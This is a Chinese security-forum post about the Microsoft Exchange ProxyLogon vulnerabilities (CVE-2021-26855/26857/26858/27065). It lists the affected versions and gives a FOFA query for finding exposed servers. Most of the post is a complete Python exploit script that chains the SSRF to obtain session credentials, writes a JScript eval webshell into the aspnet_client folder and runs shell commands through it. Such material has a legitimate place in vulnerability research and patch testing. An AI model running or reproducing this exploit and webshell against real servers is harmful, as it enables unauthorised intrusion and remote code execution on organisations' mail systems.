安全矩阵

 找回密码
 立即注册
搜索
查看: 3876|回复: 0

Microsoft Exchange 远程命令执行 CVE-2021-26855/26857/26858/27065

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-3-15 22:15:04 | 显示全部楼层 |阅读模式
原文链接:Microsoft Exchange 远程命令执行 CVE-2021-26855/26857/26858/27065


一、 漏洞描述
Microsoft Exchange Server 是个消息与协作系统。Exchange Server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统。2021年03月03日微软官方披露多个Exchange高危漏洞:
CVE-2021-26855
Exchange服务器端请求伪造漏洞。利用此漏洞的攻击者能够以Exchange Server发送HTTP请求,扫描内网,获取Exchange用户信息。
CVE-2021-26857
Exchange反序列化漏洞。该漏洞需要管理员权限,攻击者通过构造恶意请求,触发反序列化漏洞,在服务器上执行恶意代码。
CVE-2021-26858/CVE-2021-27065
Exchange中身份验证后的任意文件写入漏洞。攻击者可以通过CVE-2021-26855的ssrf漏洞获取到的Exchange administrator凭证,构造恶意请求,在系统上写入任意文件。

二、漏洞影响
Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013,
Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013,
Exchange 2019 CU8 < 15.02.0792.010

三、漏洞复现
FOFA语句 :icon_hash="1768726119"

4篇关于原理的参考文章
https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
https://www.crowdstrike.com/blog ... -zero-day-exploits/
https://www.volexity.com/blog/20 ... ay-vulnerabilities/
https://www.microsoft.com/securi ... g-exchange-servers/

其中一次攻击中的日志

可以看到首先请求了 /rpc/  这个目录
根据网上公布的 POC与EXP,可以看到 NTML协商消息会返回我们NTML询问信息, 其中包含了 AV_PAIR结构,其中包含了 后端服务器名称与域名

base64解密其中的加密部分

再通过解包的方法转换其中的数据就可以得到完整的后端服务器名称与域名


  1. EXP根据推特和Github几个脚本更改 python2运行,报错就是没成功哈,一般成功是不会报错的
  2. 默认打的邮箱为 administrator@xxx.xxx.cn(可以自行更改)
  3. webshell路径和脚本文件中更改
  4. 运行的命令是 ping Dnslog证明漏洞存在(一些东西就大家自己看看脚本改吧~)
复制代码



  1. #!/usr/bin/python2
  2. # coding: UTF-8

  3. import re
  4. import sys
  5. import json
  6. import string
  7. import requests
  8. from urllib import urlencode
  9. from tld import get_fld
  10. from struct import unpack
  11. from base64 import b64encode, b64decode
  12. from requests.packages.urllib3.exceptions import InsecureRequestWarning


  13. def title():
  14.     print('+---------WgpSec狼组安全团队-------------')
  15.     print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
  16.     print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
  17.     print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
  18.     print('+  \033[34mVersion: Microsoft Exchang 多个版本                                \033[0m')
  19.     print('+  \033[36m使用格式:  python poc.py                                           \033[0m')
  20.     print('+  \033[36mUrl         >>> mail.xxx.org                                       \033[0m')
  21.     print('+  \033[36mEmail       >>> Administrator@根域名  (默认)                        \033[0m')
  22.     print('+------------------------------------------')

  23. def _unpack_str(byte_string):
  24.     return byte_string.decode('UTF-8').replace('\x00', '')

  25. def _unpack_int(format, data):
  26.     return unpack(format, data)[0]

  27. def parse_challenge(Negotiate_base64_decode):
  28.     target_info_field = Negotiate_base64_decode[40:48]
  29.     target_info_len = _unpack_int('H', target_info_field[0:2])
  30.     target_info_offset = _unpack_int('I', target_info_field[4:8])

  31.     target_info_bytes = Negotiate_base64_decode[target_info_offset:target_info_offset + target_info_len]

  32.     domain_name = ''
  33.     computer_name = ''
  34.     info_offset = 0
  35.     while info_offset < len(target_info_bytes):
  36.         av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset + 2])
  37.         av_len = _unpack_int('H', target_info_bytes[info_offset + 2:info_offset + 4])
  38.         av_value = target_info_bytes[info_offset + 4:info_offset + 4 + av_len]

  39.         info_offset = info_offset + 4 + av_len
  40.         if av_id == 2:    # MsvAvDnsDomainName
  41.             domain_name = _unpack_str(av_value)
  42.         elif av_id == 3:  # MsvAvDnsComputerName
  43.             computer_name = _unpack_str(av_value)

  44.     if domain_name and computer_name:
  45.         return domain_name, computer_name
  46.     else:
  47.         print("\033[31m[x] 计算机名称或域名称获取失败")
  48.         sys.exit(0)


  49. def POC_1(target_url, Email):
  50.     print("\033[32m[o] 正在获取 计算机名称和域名称.....\033[0m")
  51.     ntlm_type1 = (
  52.         'NTLMSSP\x00'  # NTLMSSp签名
  53.         '\x01\x00\x00\x00'  # 信息类型
  54.         '\x97\x82\x08\xe2'  # 标记
  55.         '\x00\x00\x00\x00\x00\x00\x00\x00'  # 域名称字符
  56.         '\x00\x00\x00\x00\x00\x00\x00\x00'  # 工作字符
  57.         '\x0a\x00\xba\x47\x00\x00\x00\x0f'  # 系统版本
  58.     )
  59.     headers = {
  60.         'Authorization': 'Negotiate {}'.format(b64encode(ntlm_type1))
  61.     }
  62.     basic_url = 'https://{}/rpc/'.format(target_url)
  63.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  64.     response = requests.get(url=basic_url, headers=headers, verify=False)
  65.     if response.status_code == 401:
  66.         Negotiate_base64_encode = response.headers['WWW-Authenticate']
  67.         Negotiate_base64_decode = re.search('Negotiate ([A-Za-z0-9/+=]+)', Negotiate_base64_encode).group(1)
  68.         domain_name, computer_name = parse_challenge(b64decode(Negotiate_base64_decode))
  69.         print("\033[32m[o] 计算机名称: {}\033[0m".format(computer_name))
  70.         print("\033[32m[o] 域名称:    {}\033[0m".format(domain_name))
  71.         POC_2(target_url, Email, computer_name)
  72.     else:
  73.         print("\033[31m[x] 获取失败")
  74.         sys.exit(0)

  75. def POC_2(target_url, Email, computer_name):
  76.     payload = '''
  77. <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  78.     <Request>
  79.          <EMailAddress>%s</EMailAddress>
  80.         <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  81.     </Request>
  82. </Autodiscover>
  83.     ''' % Email
  84.     vuln_url = '/autodiscover/autodiscover.xml'
  85.     headers = {
  86.         'User-Agent': 'ExchangeServicesClient/0.0.0.0',
  87.         'Content-Type': 'text/xml',
  88.         'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
  89.         'msExchLogonMailbox': 'S-1-5-20'
  90.     }
  91.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  92.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  93.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  94.     LegacyDN = re.findall(r'<LegacyDN>(.*?)</LegacyDN>', response.text)[0]
  95.     print("\033[32m[o] LegacyDN: {}\033[0m".format(LegacyDN))
  96.    
  97.     vuln_url = '/mapi/emsmdb/'
  98.     headers = {
  99.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  100.         'X-Requestid': 'x',
  101.         'X-Requesttype': 'Connect',
  102.         'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
  103.         'Content-Type': 'application/mapi-http',
  104.         'msExchLogonMailbox': 'S-1-5-20',
  105.     }
  106.     payload = LegacyDN + '\x00\x00\x00\x00\x00\x20\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00'
  107.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  108.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  109.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  110.     SID = re.search('with SID ([S\-0-9]+) ', response.content).group(1)
  111.     print("\033[32m[o] SID: {}\033[0m".format(SID))
  112.    
  113.     vuln_url = '/ecp/proxyLogon.ecp'
  114.     payload = '<r at="NTLM" ln="%s"><s t="0">%s</s></r>' % (Email.split('@')[0], SID)
  115.     headers = {
  116.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  117.         'X-Requestid': 'x',
  118.         'X-Requesttype': 'Connect',
  119.         'Cookie': 'X-BEResource=a]@{}:444{}?#~1941962753'.format(computer_name, vuln_url),
  120.         'Content-Type': 'application/json',
  121.         'msExchLogonMailbox': 'S-1-5-20',
  122.     }
  123.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  124.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  125.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  126.     session_id = response.cookies.get('ASP.NET_SessionId')
  127.     canary     = response.cookies.get('msExchEcpCanary')
  128.     print("\033[32m[o] Session_id: {}\033[0m".format(session_id))
  129.     print("\033[32m[o] Canary    : {}\033[0m".format(canary))
  130.    
  131.     extra_cookies = [
  132.         'ASP.NET_SessionId='+session_id,
  133.         'msExchEcpCanary='+canary
  134.     ]
  135.     vuln_url = '/ecp/DDI/DDIService.svc/GetObject'
  136.     qs = urlencode({
  137.         'schema': 'OABVirtualDirectory',
  138.         'msExchEcpCanary': canary
  139.     })
  140.     headers = {
  141.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  142.         'X-Requestid': 'x',
  143.         'X-Requesttype': 'Connect',
  144.         'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(computer_name, vuln_url, qs, session_id, canary),
  145.         'Content-Type': 'application/json',
  146.         'msExchLogonMailbox': 'S-1-5-20',
  147.     }
  148.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  149.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  150.     response = requests.post(url, headers=headers, data='', verify=False, allow_redirects=False)
  151.     identity = response.json()['d']['Output'][0]['Identity']
  152.     print("\033[32m[o] OAB Name: {}\033[0m".format(identity['DisplayName']))
  153.     print("\033[32m[o] OAB ID: {}\033[0m".format(identity['RawIdentity']))
  154.    
  155.     FILE_PATH = 'C:\\inetpub\\wwwroot\\aspnet_client\\PeiQi.aspx'
  156.     FILE_DATA = '<script language="JScript" runat="server">function Page_Load(){eval(Request["PeiQi"],"unsafe");}</script>'
  157.    
  158.     vuln_url = '/ecp/DDI/DDIService.svc/SetObject'
  159.     qs = urlencode({
  160.         'schema': 'OABVirtualDirectory',
  161.         'msExchEcpCanary': canary
  162.     })
  163.     payload = json.dumps({
  164.         'identity': {
  165.             '__type': 'Identity:ECP',
  166.             'DisplayName': identity['DisplayName'],
  167.             'RawIdentity': identity['RawIdentity']
  168.         },
  169.         'properties': {
  170.             'Parameters': {
  171.                 '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
  172.                 'ExternalUrl': 'http://f/' + FILE_DATA
  173.             }
  174.         }
  175.     })
  176.     headers = {
  177.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  178.         'X-Requestid': 'x',
  179.         'X-Requesttype': 'Connect',
  180.         'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(computer_name, vuln_url, qs, session_id, canary),
  181.         'Content-Type': 'application/json',
  182.         'msExchLogonMailbox': 'S-1-5-20',
  183.     }
  184.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  185.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  186.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  187.     if response.status_code == 200:
  188.         print("\033[32m[o] 通过OAB设置Webshell成功\033[0m")
  189.    
  190.     vuln_url = "/ecp/DDI/DDIService.svc/SetObject"
  191.     qs = urlencode({
  192.         'schema': 'ResetOABVirtualDirectory',
  193.         'msExchEcpCanary': canary
  194.     })
  195.     payload = json.dumps({
  196.         'identity': {
  197.             '__type': 'Identity:ECP',
  198.             'DisplayName': identity['DisplayName'],
  199.             'RawIdentity': identity['RawIdentity']
  200.         },
  201.         'properties': {
  202.             'Parameters': {
  203.                 '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
  204.                 'FilePathName': FILE_PATH
  205.             }
  206.         }
  207.     })
  208.     headers = {
  209.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  210.         'X-Requestid': 'x',
  211.         'X-Requesttype': 'Connect',
  212.         'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(computer_name, vuln_url, qs, session_id, canary),
  213.         'Content-Type': 'application/json',
  214.         'msExchLogonMailbox': 'S-1-5-20',
  215.     }
  216.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  217.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  218.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  219.     if response.status_code == 200:
  220.         print("\033[32m[o] 正在尝试写入Webshell\033[0m")
  221.         
  222.     vuln_url = "/ecp/DDI/DDIService.svc/SetObject"   
  223.     qs = urlencode({
  224.         'schema': 'OABVirtualDirectory',
  225.         'msExchEcpCanary': canary
  226.     })
  227.     payload = json.dumps({
  228.         'identity': {
  229.             '__type': 'Identity:ECP',
  230.             'DisplayName': identity['DisplayName'],
  231.             'RawIdentity': identity['RawIdentity']
  232.         },
  233.         'properties': {
  234.             'Parameters': {
  235.                 '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
  236.                 'ExternalUrl': ''
  237.             }
  238.         }
  239.     })
  240.     headers = {
  241.         'X-Clientapplication': 'Outlook/15.0.4815.1002',
  242.         'X-Requestid': 'x',
  243.         'X-Requesttype': 'Connect',
  244.         'Cookie': 'X-BEResource=a]@{}:444{}?{}#~1941962753;ASP.NET_SessionId={};msExchEcpCanary={}'.format(computer_name, vuln_url, qs, session_id, canary),
  245.         'Content-Type': 'application/json',
  246.         'msExchLogonMailbox': 'S-1-5-20',
  247.     }
  248.     url = "https://{}/ecp/PeiQi.js".format(target_url)
  249.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  250.     response = requests.post(url, headers=headers, data=payload, verify=False, allow_redirects=False)
  251.     print("\033[32m[o] 清除 OAB\033[0m")
  252.     print("\033[32m[o] 正在验证 Webshell是否上传成功..........\033[0m")
  253.     webshell_url = "https://" + target_url + "/aspnet_client/PeiQi.aspx"
  254.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  255.     response = requests.get(url=webshell_url, verify=False, allow_redirects=False)
  256.     if response.status_code == 200 and "Name" in response.text:
  257.         print("\033[32m[o] 上传 Webshll成功, 地址为:{}\033[0m".format("https://" + target_url + "/aspnet_client/PeiQi.aspx"))
  258.         print("\033[32m[o] 响应为:\n{}\033[0m".format(response.text))
  259.         while True:
  260.             Dnslog = str(raw_input("\033[35mDnslog >>> \033[0m"))
  261.             requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  262.             Dnslog_url = "https://" + target_url + '/aspnet_client/PeiQi.aspx?PeiQi=new ActiveXObject("WSCRIPT.SHELL").Run("ping {}");'.format(Dnslog)
  263.             response = requests.get(url=Dnslog_url, verify=False, allow_redirects=False)
  264.             print("\033[32m[o] 执行命令 ping {}\033[0m".format(Dnslog))
  265.             print("\033[32m[o] 请检查 Dndslog 响应\033[0m")
  266.    
  267.         
  268.    

  269. if __name__ == '__main__':
  270.     title()
  271.     target_url = str(raw_input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
  272.     Email = "Administrator@{}".format(get_fld("https://" + target_url))
  273.     print("\033[32m[o] 请求地址:{},使用的邮箱:{}\033[0m".format(target_url, Email))
  274.     POC_1(target_url, Email)
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 23:57 , Processed in 0.013921 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表